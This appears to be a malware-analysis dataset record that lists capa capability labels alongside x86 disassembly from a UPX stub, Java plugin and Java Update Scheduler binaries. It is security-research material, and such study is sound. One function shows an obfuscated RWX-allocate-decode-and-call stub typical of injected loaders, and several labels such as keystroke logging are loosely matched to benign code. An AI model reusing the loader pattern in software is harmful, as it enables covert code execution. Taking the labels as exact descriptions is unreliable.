joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa31330
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xec000]
push edi
or ebp, 0xffffffff
jmp 0xa31352
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xa31359
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa31348
mov eax, 1
add ebx, ebx
jne 0xa3136b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xa31360
jne 0xa3137c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xa31360
xor ecx, ecx
sub eax, 3
jb 0xa31390
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xa31402
mov ebp, eax
add ebx, ebx
jne 0xa3139b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0xa313a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0xa313cc
inc ecx
add ebx, ebx
jne 0xa313b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xa313ad
jne 0xa313c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xa313ad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xa313ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xa313dd
jmp 0xa3134e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xa313ec
add edi, ecx
jmp 0xa3134e
pop esi
mov edi, esi
mov ecx, 0x5aa7
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xa3140a
cmp byte [edi], 0x22
jne 0xa3140a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xa3140f
lea edi, [esi + 0x62e000]
mov eax, dword [edi]
or eax, eax
je 0xa31487
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x638a90]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x638bd0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xa3143c
mov ecx, edi
jns 0xa3146b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x638bd4]
or eax, eax
je 0xa31481
mov dword [ebx], eax
add ebx, 4
jmp 0xa31459
call dword [esi + 0x638bdc]
mov ebp, dword [esi + 0x638bd8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xa314bb
sub esp, 0xffffff80
jmp 0x4d375a
Function at 0x6d2638a0
Capabilities:
Hide graphical window

Disassembly:
push 0x2c
mov eax, 0x6d270f43
call fcn.6d26fd21
mov ebx, ecx
mov edi, dword [ebp + 0xc]
push edi
push dword [ebp + 8]
call fcn.6d265d86
mov esi, dword [sym.imp.USER32.dll_SetWindowLongA]
push 4
push 0xffffffffffffffec
push eax
mov dword [ebp + 0xc], eax
call esi
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x2000000
push eax
push 0xfffffffffffffff0
push dword [ebp + 8]
call esi
mov eax, dword [0x6d27b86c]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov esi, eax
mov eax, dword [esi]
push esi
call dword [eax + 0x44]
and dword [ebp - 4], 0
push 0
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_SetParent]
mov eax, dword [ebx + 0x134]
mov ecx, dword [esi]
push eax
push esi
call dword [ecx + 0x64]
push eax
push esi
lea ecx, [ebp - 0x38]
call fcn.6d263f4e
mov dword [ebp - 0x38], vtable.SmartJObjectRefImpl_class_SmartJLocalRef_.0
push dword [ebp + 0xc]
lea eax, [ebp - 0x38]
push str._I_Lsun_plugin_viewer_frame_IExplorerEmbeddedFrame_
push str.createFrame
push eax
mov byte [ebp - 4], 1
call fcn.6d2656fc
add esp, 0x10
push eax
push esi
lea ecx, [ebp - 0x2c]
call fcn.6d263f4e
mov dword [ebp - 0x2c], vtable.SmartJObjectRefImpl_class_SmartJLocalRef_.0
mov eax, dword [edi + 8]
sub eax, dword [edi]
push 0x14
mov dword [ebp - 0x20], eax
mov eax, dword [edi + 0xc]
sub eax, dword [edi + 4]
mov byte [ebp - 4], 2
mov dword [ebp - 0x1c], eax
call sub.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 3
test eax, eax
je 0x6d263992
push dword [ebp - 0x28]
mov ecx, eax
push esi
call fcn.6d265f24
mov ecx, eax
jmp 0x6d263994
xor ecx, ecx
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 4], 2
mov dword [ebx + 0x130], ecx
call fcn.6d26613a
mov ecx, dword [ebx + 0x130]
push 1
call fcn.6d2660c8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp dword [ebp + 8], eax
je 0x6d2639d6
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_SetParent]
push 5
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_ShowWindow]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.6d26455f
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0
call fcn.6d26455f
mov eax, dword [ebp + 0xc]
call fcn.6d26fdc6
ret 8
Function at 0x6d263f4e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x6d263f5d
pop dword [ebp - 0x4c]
mov eax, 0xe20c1833
add eax, 0x8b1a272a
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3a254
push 0
mov eax, 0x1196299a
sub eax, 0xa46f08da
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x3feb67ca
add ecx, 0xc014e9ca
xor ebx, ebx
add ebx, eax
mov edi, 0xd97c4079
add edi, 0x93abe387
add edi, dword [ebp - 0x4c]
mov edx, 0x67b6a8f1
add edx, 0xdb8fec07
mov esi, dword [edi]
xor dword [ebp - 0x3c], 0x5539cb9c
add esi, edx
add dword [ebp - 0xc], edx
mov dword [ebx], esi
mov dword [ebp - 0x18], 0x5f7b4e79
add ebx, 4
add edi, 0x158dda8e
add edi, 0xea722576
loop 0x6d263fbe
add eax, 0xb12daab5
add eax, 0x4ed38e6e
mov ebx, eax
add eax, 0x1350c29f
add eax, 0xecaf3d66
mov ecx, 0x6d260000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x6d266e23
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x6d266e71
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
mov ebx, ecx
test esi, esi
jne 0x6d266e82
push 0xd
pop eax
jmp 0x6d266eac
push edi
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x6d266e85
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8

Function at 0x6d267366
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x6d27b7ac]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.6d263f4e
mov ebx, eax
cmp ebx, esi
je 0x6d2673d9
lea ecx, [ebp - 0x74]
call fcn.6d26142d
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d26fbc0
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x6d2673f1
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.6d267366
cmp eax, esi
jne 0x6d267423
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x6d2673e1
lea ecx, [ebp - 0x74]
call fcn.6d26142d
push dword [ebp - 0x78]
mov ecx, edi
call fcn.6d266d4c
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.6d26142d
mov eax, esi
jmp 0x6d2673bf
Function at 0x6d26a0f4
Capabilities:
Hide graphical window

Disassembly:
push esi
test ecx, ecx
je 0x6d26a101
lea esi, [ecx - 0x84]
jmp 0x6d26a103
xor esi, esi
lea eax, [esi + 0x94]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov esi, dword [esi + 0x54]
test esi, esi
je 0x6d26a11f
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 8

Function at 0x6d26addf
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x1c
test eax, eax
je 0x6d26adf3
add eax, 0xffffff78
jmp 0x6d26adf5
xor eax, eax
and dword [ebp + 8], 0
push esi
mov esi, dword [ebp + 0xc]
push edi
push 7
pop ecx
lea edi, [ebp - 0x1c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp + 8]
push ecx
push 0x6d272c78
lea ecx, [eax + 8]
call fcn.6d269f44
test eax, eax
js 0x6d26ae5e
cmp dword [ebp + 8], 0
je 0x6d26ae5b
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
xor edi, edi
call esi
test ax, ax
jns 0x6d26ae33
inc edi
push 0x11
call esi
test ax, ax
jns 0x6d26ae3f
add edi, 2
push 0x12
call esi
test ax, ax
jns 0x6d26ae4b
add edi, 4
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push edi
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x1c]
jmp 0x6d26ae5e
xor eax, eax
inc eax
xor ecx, ecx
test eax, eax
mov eax, dword [ebp + 8]
setne cl
mov esi, ecx
test eax, eax
je 0x6d26ae74
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
mov eax, esi
pop esi
leave
ret 8
Function at 0x6d26df23
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x94
mov eax, dword [0x6d27b7ac]
xor eax, ebp
mov dword [ebp + 0x70], eax
mov eax, dword [ebp + 0x7c]
push 9
lea ecx, [ebp - 0x20]
push ecx
push eax
mov dword [ebp - 0x14], 0x6d273b74
mov dword [ebp - 0x20], str.enableModeless
mov dword [ebp - 0x1c], str._IZJ_V
mov dword [ebp - 0x18], sym.AXBRIDGE.DLL__Java_sun_plugin_viewer_frame_IExplorerEmbeddedFrame_enableModeless_24
mov dword [ebp - 4], str.sun_plugin_viewer_frame_IExplorerEmbeddedFrame
mov dword [ebp - 0x10], str.activateBrowserWindow
mov dword [ebp - 0xc], str._I_V
mov dword [ebp - 8], sym.AXBRIDGE.DLL__Java_sun_plugin_viewer_frame_IExplorerEmbeddedFrame_activateBrowserWindow_12
mov dword [ebp + 0xc], str.sun_plugin_services_WPlatformService
mov dword [ebp], str.dispatchNativeEvent
mov dword [ebp + 4], 0x6d273bf4
mov dword [ebp + 8], sym.AXBRIDGE.DLL__Java_sun_plugin_services_WPlatformService_dispatchNativeEvent_8
mov dword [ebp + 0x1c], 0x6d273c54
mov dword [ebp + 0x10], str.nativeNotifyProperty
mov dword [ebp + 0x14], 0x6d273c34
mov dword [ebp + 0x18], sym.AXBRIDGE.DLL__Java_sun_plugin_com_event_COMEventHandler_nativeNotifyProperty_16
mov dword [ebp + 0x2c], 0x6d273c9c
mov dword [ebp + 0x20], str.nativeNotifyVetoable
mov dword [ebp + 0x24], str._II_Z
mov dword [ebp + 0x28], sym.AXBRIDGE.DLL__Java_sun_plugin_com_event_COMEventHandler_nativeNotifyVetoable_16
mov dword [ebp + 0x3c], str.sun_plugin_viewer_AxBridgeObject
mov dword [ebp + 0x30], str.notifyStatusChange
mov dword [ebp + 0x34], str._II_V
mov dword [ebp + 0x38], sym.AXBRIDGE.DLL__Java_sun_plugin_viewer_AxBridgeObject_notifyStatusChange_16
mov dword [ebp + 0x4c], str.sun_plugin_com_event_COMEventHandler
mov dword [ebp + 0x40], str.nativeNotifyEvent
mov dword [ebp + 0x44], str._II_Ljava_lang_Object__V
mov dword [ebp + 0x48], sym.AXBRIDGE.DLL__Java_sun_plugin_com_event_COMEventHandler_nativeNotifyEvent_20
mov dword [ebp + 0x5c], str.sun_plugin_com_DispatchImpl
mov dword [ebp + 0x50], str.getWindowHandle
mov dword [ebp + 0x54], str._I_I
mov dword [ebp + 0x58], sym.AXBRIDGE.DLL__Java_sun_plugin_com_DispatchImpl_getWindowHandle_12
mov dword [ebp + 0x6c], str.sun_plugin_viewer_frame_AxBridgeEmbeddedFrame
mov dword [ebp + 0x60], str.transferFocus
mov dword [ebp + 0x64], str._IZ_V
mov dword [ebp + 0x68], sym.AXBRIDGE.DLL__Java_sun_plugin_viewer_frame_AxBridgeEmbeddedFrame_transferFocus_16
call fcn.6d26e9a3
mov ecx, dword [ebp + 0x70]
xor ecx, ebp
add esp, 0xc
xor eax, eax
call fcn.6d26fbc0
add ebp, 0x74
leave
ret
Function at 0x6d26f86a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x6d27c840], 0
push esi
push edi
jne 0x6d26f7e0
call fcn.6d26f74c
test eax, eax
je 0x6d26f825
mov eax, dword [0x6d27c840]
cmp eax, 1
jne 0x6d26f801
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x6d26f825
jmp 0x6d26f867
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x6d26f867
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x6d26f829
xor eax, eax
jmp 0x6d26f867
mov eax, dword [esi]
push dword [0x6d27c840]
call edi
mov edi, eax
test edi, edi
je 0x6d26f84b
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x6d26f867
lea edi, [esi + 0xff0]
push esi
push dword [0x6d27c840]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x6d26f851
mov eax, esi
pop edi
pop esi
ret
jmp 0x6d26f7cc

Function at 0x6d26fbc0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d27b7ac]
jne 0x6d26fbca
repz ret
jmp fcn.6d2703b8
Function at 0x404b8f
Capabilities:
Check mutex on windows

Disassembly:
push ebp
lea ebp, [esp - 0x7a8]
sub esp, 0x828
mov eax, dword [0x479630]
xor eax, ebp
mov dword [ebp + 0x7a4], eax
mov eax, dword [ebp + 0x7b0]
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x68], ebx
mov byte [ebp - 0x6c], bl
mov dword [esi], ebx
call fcn.0043a894
mov dword [esi], eax
cmp eax, ebx
jne 0x404be4
push str.ERROR:_ShutdownEvent_handle_is_NULL
call fcn.00417007
pop ecx
mov dword [ebp - 0x60], 0xfffffffe
push dword [ebp - 0x64]
call fcn.0043a894
pop ecx
test eax, eax
jne 0x404c04
push str.jusched_ERROR:_Could_not_open_Policy_key_for_reading
call fcn.00417007
mov dword [ebp - 0x60], 0xfffffffd
jmp 0x404c27
mov eax, dword [ebp - 0x64]
push dword [eax]
call fcn.00404b12
pop ecx
mov dword [esi + 4], eax
cmp eax, ebx
jne 0x404c28
push str.jusched_main:_ERROR_creating_registry_watch_event_notifier
call fcn.00417007
mov dword [ebp - 0x60], 0xfffffffe
pop ecx
push str.SunJavaUpdateSchedulerMutex
push 1
push ebx
mov dword [edi], ebx
call dword [sym.imp.kernel32.dll_CreateMutexA]
mov dword [edi], eax
cmp eax, ebx
jne 0x404c98
call dword [sym.imp.kernel32.dll_GetLastError]
push 0x7ff
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], bl
call fcn.0043b8b0
add esp, 0xc
cmp dword [ebp - 0x60], 0xb7
lea eax, [ebp - 0x5c]
jne 0x404c78
push str.Error:_Scheduler_Mutex_already_exists_n
push eax
call dword [sym.imp.user32.dll_wsprintfA]
pop ecx
pop ecx
jmp 0x404c8a
push dword [ebp - 0x60]
push str.Error:_Error_creating_scheduler_mutex:__d_n
push eax
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x5c]
push eax
call fcn.00417007
or dword [ebp - 0x60], 0xffffffff
pop ecx
cmp dword [ebp - 0x60], ebx
je 0x404cb7
push dword [edi]
push esi
call fcn.00404b61
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
pop ecx
pop ecx
lea esi, [ebp - 0x80]
mov dword [ebp - 0x7c], eax
call fcn.00414507
mov ecx, dword [ebp + 0x7a4]
mov eax, dword [ebp - 0x60]
pop esi
xor ecx, ebp
pop ebx
call fcn.0043a455
add ebp, 0x7a8
leave
ret
Function at 0x4065d8
Capabilities:
Create thread

Disassembly:
push ebp
lea ebp, [esp - 0xac]
sub esp, 0x12c
mov eax, dword [0x479630]
xor eax, ebp
mov dword [ebp + 0xa8], eax
push ebx
push esi
mov esi, dword [ebp + 0xb4]
push edi
mov edi, dword [sym.imp.kernel32.dll_CreateEventA]
xor ebx, ebx
push ebx
push ebx
mov dword [esi + 0xc], 0xbc2
mov eax, dword [0x47c184]
push 1
push ebx
mov dword [esi + 0x18], eax
call edi
push ebx
push ebx
push 1
push ebx
mov dword [esi + 0x20], eax
call edi
push ebx
push ebx
push 1
push ebx
mov dword [esi + 0x24], eax
call edi
mov dword [esi + 0x38], eax
call fcn.0043a894
mov dword [esi + 0x3c], eax
xor eax, eax
mov byte [ebp - 0x7c], bl
lea edi, [ebp - 0x7b]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov dword [ebp - 0x68], ebx
lea edi, [ebp - 0x64]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 1
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push ebx
push ebx
push 1
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push str.SunJavaUpdateRecheckUpdateEvent
lea eax, [ebp - 0x7c]
push ebx
mov dword [ebp - 0x64], eax
push ebx
lea eax, [ebp - 0x68]
push eax
mov dword [ebp - 0x68], 0xc
call dword [sym.imp.kernel32.dll_CreateEventA]
push dword [esi + 0x20]
mov edi, dword [sym.imp.kernel32.dll_ResetEvent]
mov dword [esi + 0x40], eax
call edi
push dword [esi + 0x24]
call edi
push dword [esi + 0x38]
call edi
lea eax, [ebp - 0x80]
push eax
push ebx
push esi
push 0x406bb3
push ebx
push ebx
call dword [sym.imp.kernel32.dll_CreateThread]
cmp eax, ebx
je 0x4066c0
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
push 0xffffffffffffffff
push dword [esi + 0x20]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [esi + 0x20]
call edi
mov edi, dword [sym.imp.user32.dll_LoadStringA]
mov ebx, 0x104
push ebx
lea eax, [esi + 0x54]
push eax
push 0x7b
push dword [esi + 0x18]
call edi
push ebx
lea eax, [ebp - 0x5c]
push eax
push 0x7c
push dword [esi + 0x18]
call edi
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
jle 0x406712
lea eax, [ebp - 0x5c]
push eax
add esi, 0x158
push esi
call dword [sym.imp.kernel32.dll_lstrcpyA]
mov ecx, dword [ebp + 0xa8]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0043a455
add ebp, 0xac
leave
ret 4
Function at 0x40fa9c
Capabilities:
Delete registry key

Disassembly:
push 0x38
mov eax, 0x45749d
call fcn.00441eb1
mov eax, dword [ebp + 8]
xor ebx, ebx
xor edi, edi
mov dword [ebp + 8], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x40], reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x28], ebx
mov byte [ebp - 0x2c], bl
cmp eax, ebx
jne 0x40fb08
cmp dword [ebp + 0x10], ebx
jne 0x40fae5
push 0x2001f
push str.SOFTWAREJavaSoftJava_UpdatePolicyjucheck
lea eax, [ebp - 0x40]
call fcn.004144d0
mov eax, dword [ebp - 0x38]
mov dword [ebp + 8], eax
jmp 0x40fafa
push str.SetJavaUpdateStringKey_was_called_with_a_NULL_value_for_the_key__so_defaulting_to_trying_jucheck_key
call fcn.00417007
pop ecx
lea eax, [ebp + 8]
push eax
call fcn.0043a894
pop ecx
cmp dword [ebp + 8], ebx
je 0x40fb0b
mov dword [ebp - 0x10], 1
jmp 0x40fb0b
mov dword [ebp + 8], eax
xor esi, esi
lea eax, [ebp - 0x20]
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
call fcn.0041053c
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x3c], eax
cmp dword [ebp + 0x10], ebx
je 0x40fb3c
push dword [ebp + 0x10]
lea ebx, [ebp - 0x24]
call fcn.0043a894
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x40fb89
cmp dword [ebp + 0x10], ebx
jne 0x40fb54
push dword [ebp + 0xc]
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x40fb82
push dword [ebp + 0x10]
mov dword [ebp - 0x24], 1
call dword [sym.imp.kernel32.dll_lstrlenA]
push eax
push dword [ebp + 0x10]
push dword [ebp - 0x20]
call fcn.0043a894
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x24]
call fcn.004145aa
mov edi, eax
neg edi
sbb edi, edi
inc edi
cmp dword [ebp - 0x10], ebx
je 0x40fb96
lea esi, [ebp - 0x40]
call fcn.00414507
lea esi, [ebp - 0x20]
call fcn.0042525d
mov eax, edi
call fcn.00441f89
ret
Function at 0x4103fe
Capabilities:
Get common file path
Parse url

Disassembly:
push ebp
lea ebp, [esp - 0x5cc]
sub esp, 0x64c
mov eax, dword [0x479630]
xor eax, ebp
mov dword [ebp + 0x5c8], eax
mov eax, dword [ebp + 0x5d4]
push ebx
push esi
push edi
push 0x3c
pop edi
xor ebx, ebx
push edi
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x80]
push ebx
push eax
mov esi, ecx
mov byte [ebp + 0x3c4], bl
call fcn.0043b8b0
lea eax, [ebp - 0x3c]
add esp, 0xc
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x80]
push eax
push ebx
push esi
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x50], 0x400
call dword [sym.imp.kernel32.dll_lstrlenA]
push eax
push esi
call dword [sym.imp.wininet.dll_InternetCrackUrlA]
mov edi, 0x104
cmp eax, ebx
je 0x4104a6
push 0x100
lea eax, [ebp + 0x3c4]
push eax
push edi
lea eax, [ebp + 0x4c4]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push ebx
push eax
call fcn.0043a894
lea eax, [ebp + 0x4c4]
push 0x464e60
push eax
call fcn.0043b3f0
add esp, 0x2c
test eax, eax
je 0x4104ef
mov eax, esi
mov dword [ebp - 0x40], ebx
cmp byte [esi], bl
je 0x4104d7
mov cl, byte [eax]
cmp cl, 0x20
je 0x4104bb
cmp cl, 9
jne 0x4104c4
push eax
call dword [sym.imp.user32.dll_CharNextA]
jmp 0x4104af
mov ecx, dword [ebp - 0x40]
movsx edx, byte [eax]
imul ecx, ecx, 0x1f
add ecx, edx
inc eax
mov dword [ebp - 0x40], ecx
cmp byte [eax], bl
jne 0x4104af
push dword [ebp - 0x40]
lea eax, [ebp + 0x4c4]
push str.jupdate__x
push eax
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 0xc
push dword [ebp - 0x44]
push edi
call dword [sym.imp.kernel32.dll_GetTempPathA]
mov esi, dword [sym.imp.kernel32.dll_lstrcatA]
lea eax, [ebp + 0x4c4]
push eax
push dword [ebp - 0x44]
call esi
lea eax, [ebp + 0x3c4]
push eax
push dword [ebp - 0x44]
call esi
mov ecx, dword [ebp + 0x5c8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043a455
add ebp, 0x5cc
leave
ret
Function at 0x41292f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x394]
sub esp, 0x414
mov eax, dword [0x479630]
xor eax, ebp
mov dword [ebp + 0x390], eax
mov eax, dword [ebp + 0x39c]
push esi
push edi
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x7c]
push eax
push 1
push 0
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x78], 0x400
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x412a11
mov byte [ebp - 0x70], al
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push str.TransferJobID
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x78], 0
jbe 0x412a11
mov esi, dword [sym.imp.kernel32.dll_lstrlenA]
lea eax, [ebp - 0x70]
push eax
call esi
test eax, eax
je 0x412a11
lea eax, [ebp - 0x70]
push eax
call esi
lea edi, [eax + 1]
cmp edi, 0x3fffffff
jle 0x4129cf
xor eax, eax
jmp 0x4129e5
lea eax, [edi + edi]
call fcn.0044ee80
mov esi, esp
push 3
push edi
lea eax, [ebp - 0x70]
push eax
call fcn.00401098
push dword [ebp - 0x74]
push eax
call dword [sym.imp.ole32.dll_CLSIDFromString]
push 0x10
push 0x45d5d8
push dword [ebp - 0x74]
call fcn.0043a894
add esp, 0xc
neg eax
sbb eax, eax
and eax, 0x7fffbffb
add eax, 0x80004005
jmp 0x412a16
mov eax, 0x80004005
lea esp, [ebp - 0x88]
pop edi
pop esi
mov ecx, dword [ebp + 0x390]
xor ecx, ebp
call fcn.0043a455
add ebp, 0x394
leave
ret

Function at 0x413eeb
Capabilities:
Encrypt data using dpapi

Disassembly:
push 0x60
mov eax, 0x455b7c
call fcn.00441f1a
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x5c], eax
xor eax, eax
dec ecx
push 4
neg ecx
sbb ecx, ecx
mov esi, edx
pop edx
and ecx, 0xfffffffc
mov dword [ebp - 0x54], ebx
lea edi, [ebp - 0x50]
stosd dword es:[edi], eax
add ecx, edx
lea eax, [ebp - 0x54]
push eax
or ecx, 1
push ecx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x60], edx
call dword [sym.imp.CRYPT32.dll_CryptProtectData]
test eax, eax
jne 0x413f78
call dword [sym.imp.kernel32.dll_GetLastError]
push ebx
push eax
lea esi, [ebp - 0x30]
call fcn.0043a894
push eax
lea eax, [ebp - 0x4c]
push str.encryption_failed__sysError
push eax
mov dword [ebp - 4], ebx
call fcn.0043a894
add esp, 0x14
lea esi, [ebp - 0x6c]
mov byte [ebp - 4], 1
call fcn.0043a894
push 0x46d650
mov eax, esi
push eax
call fcn.0043a894
mov edi, dword [ebp - 0x58]
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov esi, dword [ebp - 0x54]
mov eax, edi
